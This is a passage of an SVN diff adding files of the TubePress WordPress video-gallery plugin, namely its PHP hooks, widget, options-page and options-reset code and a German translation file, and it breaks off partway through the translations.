+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/db_nuke.php	(revision 44)
@@ -0,0 +1,46 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+require dirname(__FILE__) . "/../../../../../../wp-blog-header.php";
+
+if (!current_user_can(9)) {
+		echo "NOT AUTHORIZED";
+		exit();
+}
+
+if (isset($_POST["tubepress_init_db"])) {
+    $ioc = new org_tubepress_ioc_DefaultIocService();
+	$wpsm = $ioc->get(org_tubepress_ioc_IocService::STORAGE);
+	$wpsm->nuclear();
+	echo "OPTIONS INITIALIZED!<BR /><BR />";
+}
+?>
+This will clear out your TubePress options and reset them to default values. Your 
+other WordPress options will be safe.<br /><br />
+
+<form method="post">
+	<input type="hidden" name="tubepress_init_db" />
+	<input type="submit" name="tubepress_nuke_button" value="Reset TubePress Options" />
+</form>
+	
+<?php
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/main.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/main.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/main.php	(revision 44)
@@ -0,0 +1,119 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../classes/tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_options_storage_WordPressStorageManager',
+    'org_tubepress_options_category_Advanced',
+    'org_tubepress_shortcode_SimpleShortcodeService',
+    'org_tubepress_ioc_DefaultIocService',
+    'org_tubepress_ioc_IocService',
+    'org_tubepress_util_Debug',
+    'org_tubepress_util_StringUtils'));
+
+/**
+ * Main filter hook. Looks for a tubepress tag
+ * and, if found, replaces it with a gallery
+*/
+function tubepress_content_filter($content = '')
+{
+	try {
+		return _tubepress_content_filter($content);
+	} catch (Exception $e) {
+		return $e->getMessage() . $content;
+	}
+}
+
+function _tubepress_content_filter($content) {
+
+    /* do as little work as possible here 'cause we might not even run */
+	$wpsm             = new org_tubepress_options_storage_WordPressStorageManager();
+    $trigger          = $wpsm->get(org_tubepress_options_category_Advanced::KEYWORD);
+	$shortcodeService = new org_tubepress_shortcode_SimpleShortcodeService();
+    
+	/* no shortcode? get out */
+    if (!$shortcodeService->somethingToParse($content, $trigger)) {
+	    return $content;
+	}
+    
+    /* Whip up the IOC service */
+    $iocContainer = new org_tubepress_ioc_DefaultIocService();
+
+    /* Get a handle to our options manager */
+    $tpom = $iocContainer->get(org_tubepress_ioc_IocService::OPTIONS_MGR);
+
+ 	/* Get a copy of the content that we'll edit */
+    $newcontent = $content;
+
+    /* And finally, the gallery itself */
+    $gallery = $iocContainer->get(org_tubepress_ioc_IocService::GALLERY);
+
+    while ($shortcodeService->somethingToParse($newcontent, $trigger)) {
+
+	    $shortcodeService->parse($newcontent, $tpom);
+
+    	if (org_tubepress_util_Debug::areWeDebugging($tpom)) {
+	        org_tubepress_util_Debug::execute($iocContainer);
+	    }
+
+	    /* replace the tag with our new content */
+	    $newcontent = org_tubepress_util_StringUtils::replaceFirst($tpom->getShortcode(), 
+	        $gallery->generate(mt_rand()), $newcontent);
+    }
+    
+    return $newcontent;
+}
+
+/**
+ * Spits out the CSS and JS files that we always need for TubePress
+ */
+function tubepress_head_filter()
+{
+	try {
+	    _tubepress_head_filter();
+	} catch (Exception $e) {
+		/* this is in the head, so just print an HTML comment and proceed */
+        print "<!-- " . $e->getMessage() . " -->";
+	}
+}
+
+function _tubepress_head_filter() {
+    global $tubepress_base_url;
+
+    print<<<GBS
+<script type="text/javascript" src="$tubepress_base_url/ui/lib/tubepress.js"></script>
+<link rel="stylesheet" href="$tubepress_base_url/ui/lib/tubepress.css" type="text/css" />
+<script type="text/javascript">jQuery(document).ready(function() {tubepress_init("$tubepress_base_url");});</script>
+
+GBS;
+}
+
+
+/**
+ * Tells WordPress to load jQuery for us
+ * 
+ * @return void
+ */
+function tubepress_load_jquery()
+{
+    wp_enqueue_script('jquery');
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/options_page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/options_page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/options_page.php	(revision 44)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function tubepress_admin_menu_hook()
+{
+    if (function_exists('add_options_page')) {
+        add_options_page("TubePress Options", "TubePress", 9, 
+            __FILE__, '_tubepress_admin_menu_hook');
+    }
+}
+
+function _tubepress_admin_menu_hook()
+{
+	if (version_compare(PHP_VERSION, '5.0.0', '>=')) {
+    	function_exists("__tp_executeOptionsPage")
+    	    || require "options_page_php5.php";  
+        __tp_executeOptionsPage();
+    } else {
+        print <<<EOT
+<div id="message" class="error fade">
+    <p>
+        <strong>
+            This version of TubePress requires PHP5 or higher. 
+            Please <a href="http://php.net">upgrade your PHP installation</a> 
+            or visit <a href="http://tubepress.org">tubepress.org</a> to obtain 
+            a different version of the plugin.
+        </strong>
+    </p>
+</div>
+EOT
+    ;
+    }
+}
+function tubepress_admin_head_hook()
+{
+    global $tubepress_base_url;
+    $jsColorFile = $tubepress_base_url . "/ui/options_page/js/jscolor/jscolor.js";
+    echo '<script type="text/javascript" src="' . $jsColorFile . '"></script>';
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/options_page_php5.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/options_page_php5.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/options_page_php5.php	(revision 44)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../classes/tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_ioc_DefaultIocService'));
+
+/**
+ * This is where the fun stuff happens
+ */
+function __tp_executeOptionsPage()
+{
+	try {
+	    $iocContainer = new org_tubepress_ioc_DefaultIocService();
+	    $wpsm = $iocContainer->get(org_tubepress_ioc_IocService::STORAGE);
+	    $wpsm->init();
+	    
+	    $optionsForm = $iocContainer->get(org_tubepress_ioc_IocService::FORM_HNDLER);
+	        
+	    /* are we updating? */
+	    if (isset($_POST['tubepress_save'])) {
+	        try {
+	            $optionsForm->collect($_POST);
+	            echo '<div id="message" class="updated fade"><p><strong>Options updated</strong></p></div>';
+	        } catch (Exception $error) {
+	            echo '<div id="message" class="error fade"><p><strong>' . 
+	                $error->getMessage() . '</strong></p></div>';
+	        }
+	    }
+	    $optionsForm->display();
+	} catch (Exception $e) {
+		print $e->getMessage();
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/widget.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/widget.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/functions/widget.php	(revision 44)
@@ -0,0 +1,115 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../classes/tubepress_classloader.php');
+tubepress_load_classes(array('org_tubepress_message_WordPressMessageService'));
+
+/**
+ * Registers TubePress as a widget
+ *
+ */
+function tubepress_init_widget()
+{
+	$msg = new org_tubepress_message_WordPressMessageService();
+	$widget_ops = array('classname' => 'widget_tubepress', 
+	    'description' => $msg->_("widget-description"));
+	wp_register_sidebar_widget('tubepress', "TubePress", 
+	    'tubepress_widget', $widget_ops);
+	wp_register_widget_control('tubepress', "TubePress", 
+	    'tubepress_widget_control');
+}
+
+/**
+ * Executes the main widget functionality
+ *
+ * @param unknown_type $opts
+ */
+function tubepress_widget($opts)
+{
+	extract($opts);
+	
+	$iocContainer = new org_tubepress_ioc_DefaultIocService();
+	$tpom         = $iocContainer->get(org_tubepress_ioc_IocService::OPTIONS_MGR);
+	
+	$tpom->setCustomOptions(
+	    array(org_tubepress_options_category_Display::RESULTS_PER_PAGE  => 3,
+	        org_tubepress_options_category_Meta::VIEWS                  => false,
+	        org_tubepress_options_category_Meta::DESCRIPTION            => true,
+	        org_tubepress_options_category_Display::DESC_LIMIT          => 50,
+	        org_tubepress_options_category_Display::CURRENT_PLAYER_NAME => org_tubepress_player_Player::POPUP,
+	        org_tubepress_options_category_Display::THUMB_HEIGHT        => 105,
+	        org_tubepress_options_category_Display::THUMB_WIDTH         => 135
+	    )
+	);
+	
+	$shortcodeService = $iocContainer->get(org_tubepress_ioc_IocService::SHORTCODE);
+	$wpsm             = $iocContainer->get(org_tubepress_ioc_IocService::STORAGE);
+	
+	/* now apply the user's shortcode */
+	$shortcodeService->parse($wpsm->get(org_tubepress_options_category_Widget::TAGSTRING), $tpom, true);
+	
+	$gallery = $iocContainer->get(org_tubepress_ioc_IocService::WIDGET_GALL);
+		
+	/* get the output */
+	$out = $gallery->generate(mt_rand());
+
+	/* do the standard WordPress widget dance */
+	echo $before_widget . $before_title . 
+	    $wpsm->get(org_tubepress_options_category_Widget::TITLE) .
+	    $after_title . $out . $after_widget;
+}
+
+/**
+ * Handles the widget configuration panel
+ *
+ */
+function tubepress_widget_control()
+{
+    $iocContainer = new org_tubepress_ioc_DefaultIocService();
+    $wpsm         = $iocContainer->get(org_tubepress_ioc_IocService::STORAGE);
+    $msg          = $iocContainer->get(org_tubepress_ioc_IocService::MESSAGE);
+    
+	if ( $_POST["tubepress-widget-submit"] ) {
+		$wpsm->set(org_tubepress_options_category_Widget::TAGSTRING, 
+		    strip_tags(stripslashes($_POST["tubepress-widget-tagstring"])));
+		$wpsm->set(org_tubepress_options_category_Widget::TITLE, 
+		    strip_tags(stripslashes($_POST["tubepress-widget-title"])));
+	}
+
+    /* load up the gallery template */
+    $tpl = new net_php_pear_HTML_Template_IT(dirname(__FILE__) . "/../../../ui/widget/html_templates");
+    if (!$tpl->loadTemplatefile("controls.tpl.html", true, true)) {
+        throw new Exception("Couldn't load widget control template");
+    }
+    
+    $tpl->setVariable("WIDGET-TITLE", 
+        $msg->_("options-meta-title-title"));
+    $tpl->setVariable("WIDGET-TITLE-VALUE", 
+        $wpsm->get(org_tubepress_options_category_Widget::TITLE));
+    $tpl->setVariable("WIDGET-TAGSTRING", 
+        $msg->_("widget-tagstring-description"));
+    $tpl->setVariable("WIDGET-TAGSTRING-VALUE", 
+        $wpsm->get(org_tubepress_options_category_Widget::TAGSTRING));
+    echo $tpl->get();
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/hooks/main.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/hooks/main.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/hooks/main.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+if (version_compare(PHP_VERSION, '5.0.0', '>=')
+        && !function_exists("tubepress_content_filter")) {
+    
+    /* set the tubepress_base_url global */
+    $tubepress_base_url = get_settings('siteurl') . "/wp-content/plugins/tubepress";        
+            
+    /* register the plugin's message bundles */
+	load_plugin_textdomain('tubepress', 'wp-content/plugins/tubepress/i18n');
+	
+	/* load up the rest of the WordPress specific code */
+    include dirname(__FILE__) . '/../functions/main.php';
+
+    /* add a filter for all post/page content */
+	add_filter('the_content', 'tubepress_content_filter');
+	
+	/* add a filter so we can add our CSS/JS to the head */
+	add_action('wp_head',     'tubepress_head_filter');
+	
+	add_action('init', 'tubepress_load_jquery');
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/hooks/options_page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/hooks/options_page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/hooks/options_page.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+if (!function_exists("tubepress_admin_menu_hook")) {
+	require dirname(__FILE__) . "/../functions/options_page.php";
+	add_action('admin_menu', 'tubepress_admin_menu_hook');
+	add_action('admin_head',  'tubepress_admin_head_hook');
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/hooks/widget.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/hooks/widget.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/env/WordPress/hooks/widget.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+ * 
+ * This file is part of TubePress (http://tubepress.org)
+ * 
+ * TubePress is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ * 
+ * TubePress is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ * 
+ * You should have received a copy of the GNU General Public License
+ * along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ */
+
+if (version_compare(PHP_VERSION, '5.0.0', '>=')
+    && !function_exists("tubepress_init_widget")) {
+        include dirname(__FILE__) . "/../functions/widget.php";
+        add_action('widgets_init', 'tubepress_init_widget');
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress-de_DE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress-de_DE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/i18n/tubepress-de_DE.po	(revision 44)
@@ -0,0 +1,327 @@
+# Copyright 2006, 2007, 2008, 2009 Eric D. Hough (http://ehough.com)
+#
+# This file is part of TubePress (http://tubepress.org)
+#
+# TubePress is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# TubePress is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with TubePress.  If not, see <http://www.gnu.org/licenses/>.
+msgid ""
+msgstr ""
+"Project-Id-Version: TubePress 1.6.5\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: \n"
+"Last-Translator: Pascal Berger <pascal.berger@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+msgid "TubePress Options"
+msgstr "TubePress Optionen"
+
+msgid "Save"
+msgstr "Speichern"
+
+msgid "Set default options for the plugin. Each option here can be overridden on a per page/post basis. See the <a href=\"http://code.google.com/p/tubepress/wiki/Documentation\">documentation</a> for more info."
+msgstr "Setzt die Standardoptionen f&uuml;r das Plugin. Jede dieser Optionen hier kann pro Seite oder Beitrag &uuml;berschrieben werden. Siehe in der <a href=\"http://code.google.com/p/tubepress/wiki/Documentation\">Dokumentation</a> f&uuml;r weitere Informationen."
+
+msgid "TubePress is free. But if you enjoy the plugin, and appreciate the hundreds of hours I've spent developing and supporting it, please consider a donation. No amount is too small. Thanks!"
+msgstr "TubePress ist gratis. Aber falls das Plugin f&uuml;r Sie von Nutzen ist, und Sie die hunderten von Stunden welche f&uuml;r die Entwicklung und den Support dieses Plugins aufgewendet wurden unterst&uuml;tzen mouml;chten k&ouml;nnen Sie eine Spende machen. Kein Betrag ist zu klein! Danke!"
+
+msgid "Which videos?"
+msgstr "Video Optionen"
+
+msgid "Top rated videos from..."
+msgstr "Am besten bewertete Videos von..."
+
+msgid "This YouTube user's \"favorites\""
+msgstr "Favoriten dieses YouTube Benutzers"
+
+msgid "The latest \"featured\" videos on YouTube's homepage"
+msgstr "Die neusten \"angesagten\" Videos auf der YouTube Startseite"
+
+msgid "Videos for mobile phones"
+msgstr "Videos f&uuml;r Mobiltelefone"
+
+msgid "This playlist"
+msgstr "Diese Wiedergabeliste"
+
+msgid "Limited to 200 videos per playlist. Will usually look something like this: D2B04665B213AE35. Copy the playlist id from the end of the URL in your browser's address bar (while looking at a YouTube playlist). It comes right after the 'p='. For instance: http://youtube.com/my_playlists?p=D2B04665B213AE35"
+msgstr "Limitert auf 200 Videos pro Wiedergabeliste. Ist normalerweise in diesem Format: D2B04665B213AE35. Kopieren Sie die ID der Wiedergabeliste vom Ende der URL aus der Adressleiste ihres Browsers w&auml;hrend Sie eine YouTube Wiedergabeliste betrachten. Die ID folgt gleich nach dem 'p='. Zum Beispiel: http://youtube.com/my_playlists?p=D2B04665B213AE35"
+
+msgid "Most-viewed videos from"
+msgstr "Am h&auml;ufigsten betrachtete Videos von"
+
+msgid "Most-linked videos"
+msgstr "Am h&auml;ufigsten verlinkte Videos"
+
+msgid "Most-recently added videos"
+msgstr "Neuste Videos"
+
+msgid "Most-discussed videos"
+msgstr "Am meisten diskutierte Videos"
+
+msgid "Most-responded to videos"
+msgstr "Am meisten beantworteten Videos"
+
+msgid "Views"
+msgstr "Aufrufe"
+
+msgid "YouTube search for..."
+msgstr "YouTube durchsuchen nach..."
+
+msgid "Videos from this YouTube user"
+msgstr "Videos von diesem YouTube Benutzer"
+
+msgid "YouTube limits this mode to 1,000 results"
+msgstr "YouTube beschr&auml;nkt diesen Modus auf 1'000 Resultate"
+
+msgid "Display Options"
+msgstr "Anzeige Optionen"
+
+msgid "Play each video"
+msgstr "Anzeigemodus"
+
+msgid "Maximum description length"
+msgstr "Maximale Bezeichnungsl&auml;nge"
+
+msgid "Maximum number of characters to display in video descriptions. Set to 0 for no limit."
+msgstr "Maximale Anzahl Zeichen welche von der Beschreibung des Videos angezeigt werden sollen. Setzen Sie diesen Wert auf 0 um die vollst&auml;ndige Bezeichnung anzuzeigen."
+
+msgid "Height (px) of thumbs"
+msgstr "H&ouml;he (Pixel) der Vorschaubilder"
+
+msgid "Default (and maximum) is 90"
+msgstr "Standardwert (und Maximum) ist 90"
+
+msgid "Width (px) of thumbs"
+msgstr "Breite (Pixel) der Vorschaubilder"
+
+msgid "Default (and maximum) is 120"
+msgstr "Standardwert (und Maximum) ist 120"
+
+msgid "Use relative dates"
+msgstr "Relative Datumsangaben"
+
+msgid "e.g. \"yesterday\" instead of \"November 3, 1980\""
+msgstr "z.B. \"gestern\" anstatt \"3. November 1980\""
+
+msgid "Videos per Page"
+msgstr "Videos pro Seite"
+
+msgid "Default is 20. Maximum is 50"
+msgstr "Standardwert ist 20. Maximum ist 50"
+
+msgid "Order videos by"
+msgstr "Videos sortieren nach"
+
+msgid "Embedded Player"
+msgstr "Eingebundener Player"
+
+msgid "Auto-play videos"
+msgstr "Automatisch abspielen"
+
+msgid "Show border"
+msgstr "Rahmen anzeigen"
+
+msgid "Max height (px)"
+msgstr "Max. H&ouml;he (Pixel)"
+
+msgid "Default is 355"
+msgstr "Standardwert ist 355"
+
+msgid "Default is 425"
+msgstr "Standardwert ist 425"
+
+msgid "Enhanced genie menu"
+msgstr "Erweitertes Genie Men&uuml;"
+
+msgid "Show the genie menu, if present, when the mouse enters the video area (as opposed to only when the user pushes the \"menu\" button"
+msgstr "Zeigt, falls vorhanden, das Genie Men&uuml; wenn die Maus &uuml;ber dem Videobereich ist (Ansonsten wird das Men&uuml; nur angezeigt falls der Benutzer den \"Men&uuml;\" Knopf dr&uuml;ckt)."
+
+msgid "Loop"
+msgstr "Wiederholung"
+
+msgid "Continue playing the video until the user stops it"
+msgstr "Wiederholt das Video bis der Benutzer die Wiedergabe unterbricht."
+
+msgid "Main color"
+msgstr "Farbe"
+
+msgid "Show related videos"
+msgstr "&Auml;hnliche Videos anzeigen"
+
+msgid "Toggles the display of related videos after a video finishes"
+msgstr "Schaltet das Anzeigen von &auml;hnlichen Videos nach dem Ende des Videos ein oder aus."
+
+msgid "Meta Display"
+msgstr "Meta Anzeige"
+
+msgid "Author"
+msgstr "Autor"
+
+msgid "Category"
+msgstr "Kategorie"
+
+msgid "Description"
+msgstr "Beschreibung"
+
+msgid "ID"
+msgstr "ID"
+
+msgid "Length"
+msgstr "Dauer"
+
+msgid "Rating"
+msgstr "Bewertung"
+
+msgid "Ratings"
+msgstr "Bewertungen"
+
+msgid "Tags"
+msgstr "Tags"
+
+msgid "Title"
+msgstr "Titel"
+
+msgid "Posted"
+msgstr "Hinzugef&uuml;gt am"
+
+msgid "URL"
+msgstr "URL"
+
+msgid "Advanced"
+msgstr "Erweitert"
+
+msgid "Date format"
+msgstr "Datumsformat"
+
+msgid "Set the textual formatting of date information for videos. See <a href=\"http://us.php.net/date\">date</a> for examples."
+msgstr "Setzt das Datumsformat. Siehe <a href=\"http://de.php.net/date\">hier</a> f&uuml;r Beispiele."
+
+msgid "Enable debugging"
+msgstr "Debug Modus einschalten"
+
+msgid "If checked, anyone will be able to view your debugging information. This is a rather small privacy risk. If you're not having problems with TubePress, or you're worried about revealing any details of your TubePress pages, feel free to disable the feature."
+msgstr "Falls diese Option gew&auml;hlt ist kann jedermann die Debug Informationen einsehen. Dies ist ein kleines Risiko f&uuml;r Privatsph&auml;renverletzungen. Falls Sie keine Probleme mit TubePress haben oder falls Sie keine Details &uuml;ber ihre Videos ver&ouml;ffentlichen m&ouml;chten, k&ouml;nnen Sie diese Option ausschalten."
+
+msgid "Filter \"racy\" content"
+msgstr "Jugendschutzfilter"
+
+msgid "Don't show videos that may not be suitable for minors."
+msgstr "Videos welche f&uuml;r Minderj&auml;hrige ungeeignet sind ausblenden"
+
+msgid "Shortcode keyword"
+msgstr "Schl&uuml;sselwort"
+
+msgid "The word you insert (in plaintext, between square brackets) into your posts/pages to display a gallery."
+msgstr "Das Wort welches sie in ihre Seiten und Beitr&auml;ge einfï¿œgen (im Klartext, zwischen eckigen Klammern) um eine Videogallerie anzuzeigen."
+
+msgid "Randomize thumbnails"
+msgstr "Zuf&auml;llige Vorschaubilder"
+
+msgid "Most videos come with several thumbnails. By selecting this option, each time someone views your gallery they will see the same videos with each video's thumbnail randomized"
+msgstr "Die meisten Videos besitzen mehrere Vorschaubilder. Durch Setzen dieser Option wird bei jedem Anzeigen ein zuf&auml;lliges Vorschaubild f&uuml;r ein Video angezeigt."
+
+msgid "YouTube API Client ID"
+msgstr "YouTube API Client ID"
+
+msgid "YouTube will use this client ID for logging and debugging purposes if you experience a service problem on their end. You can register a new client ID <a href=\"http://code.google.com/apis/youtube/dashboard/\">here</a>. Don't change this unless you know what you're doing."
+msgstr "YouTube benutzt diese ID bei einem Problem f&uuml;r Protokoll und Debug Zwecke. Sie k&ouml;nnen sich <a href=\"http://code.google.com/apis/youtube/dashboard/\">hier</a> registrieren und eine neue Client ID und einen neuen Developer Key beantragen. &Auml;ndern sie diese Einstellung nicht ausser Sie wissen was Sie tun."
+
+msgid "YouTube API Developer Key"
+msgstr "YouTube API Developer Key"
+
+msgid "YouTube will use this developer key for logging and debugging purposes if you experience a service problem on their end. You can register a new client ID and developer key <a href=\"http://code.google.com/apis/youtube/dashboard/\">here</a>. Don't change this unless you know what you're doing."
+msgstr "YouTube benutzt diesen Schl&uuml;ssel bei einem Problem f&uuml;r Protokoll und Debug Zwecke. Sie k&ouml;nnen sich <a href=\"http://code.google.com/apis/youtube/dashboard/\">hier</a> registrieren und eine neue Client ID und einen neuen Developer Key beantragen. &Auml;ndern sie diese Einstellung nicht ausser Sie wissen was Sie tun."
+
+msgid "Enable request cache"
+msgstr "Anfragen Zwischenspeicher"
+
+msgid "Store YouTube responses locally for 1 hour. Each response is on the order of a few hundred KB, so leaving the cache enabled will significantly reduce load times for your galleries at the slight expense of freshness."
+msgstr "Speichert Antworten von YouTube lokal f&uuml;r 1 Stunde. Jede Anfrage ist im Bereich von ein paar hundert KB, daher reduziert das aktivieren des Zwischenspeichers die Ladezeiten fï¿œr die Videogallerien merklich auf geringe Kosten der Aktualit&auml;t."
+
+msgid "Add rel=nofollow to most YouTube links"
+msgstr "F&uuml;gt rel=nofollow zu den meisten YouTube Links hinzu"
+
+msgid "Prevents search engines from indexing outbound links to youtube.com. The only exception is the link to a video's original page on YouTube."
+msgstr "Verhindert dass Suchmaschinen ausgehende Links zu youtube.com indexieren. Die einzige Ausnahme ist der Link zur Originalseite eines YouTube Videos."
+
+msgid "normally (at the top of your gallery)"
+msgstr "Normal (oberhalb der Videogallerie)"
+
+msgid "in a popup window"
+msgstr "In einem Popup Fenster"
+
+msgid "from the original YouTube page"
+msgstr "Von der Original YouTube Seite"
+
+msgid "with Shadowbox"
+msgstr "Mit Shadowbox"
+
+msgid "relevance"
+msgstr "relevanz"
+
+msgid "view count"
+msgstr "Aufrufe"
+
+msgid "rating"
+msgstr "Bewertung"
+
+msgid "date updated"
